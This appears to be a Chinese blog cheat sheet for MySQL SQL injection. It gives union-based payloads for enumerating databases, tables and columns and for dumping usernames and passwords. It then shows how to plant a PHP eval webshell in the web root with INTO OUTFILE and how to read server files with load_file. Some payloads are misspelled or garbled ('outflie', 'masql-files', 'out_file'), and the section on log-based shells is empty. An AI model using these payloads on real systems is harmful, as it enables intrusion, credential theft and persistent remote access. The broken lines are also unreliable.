Mysql数据库注入

一、有回显注入

1.信息收集

当发现存在sql注入后,首先应该进行查看数据库版本信息以及系统信息,确定后期渗透路径。

system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统

2.注入查询账号密码

查询全部数据库名

schema_name from information_schema.schemata limit 0,1//
schema_name from information_schema.schemata(可多行显示的情况下)
group_concat(schema_name) from information_schema.schemata 

查寻表名

table_name from information_schema.tables where table_schema='数据库名' limit 1,1或
table_name from information_schema.tables where table_schema='数据库名'
group_concat(table_name) from information_schema.tables where table_schema='数据库名'//单引号可替换编码处理,如hex编码

查字段

column_name from information_schema.columns where table_name='表名' and table_schema='库名' limit 0,1
column_name from information_schema.columns where table_name='表名' and table_schema='库名'
group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='数据库名'
group_concat(column_name) from information_schema.columns where table_name='表名'

查询数据库

select 1,2,3,字段1,5,字段2,7,8 from 数据库.表
union select 1,group_concat(username),group_concat(password) from 表名
group_concat(id,username,password) from 表名

3.getshell

想要在数据库写入 shell必要条件有读写权限,以及已知路径

绝对路径:可以通过报错,404等界面获得

查看读写是否开启:

@@global.secure_file_priv
secure_file_priv的值为null,表示限制mysqld不允许导入/导出
secure_file_priv的值为D:/,表示限制mysqld的导入/导出只能发生在D盘目录下
secure_file_priv没有具体值时,表示不对mysqld的导入/导出做限制

读文件:

load_file('c:/inetpub/wwwroot/index.php')

写文件:

"<?php @eval($_GET[x]);?>" into outfile 'C:/Inetpub/wwwroot/cc.php'

3.1写入shell

首先查看可写入路径

尝试写入phpinfo 使用函数 union select <?php phpinfo()?> into outflie '/var/masql-files/info.php'

 使用load_file函数读取:union select out_file ('var/mysql-files/info.php')

3.2利用日志写入shell

 
原文地址:https://www.cnblogs.com/Shepherd-boy/p/15065273.html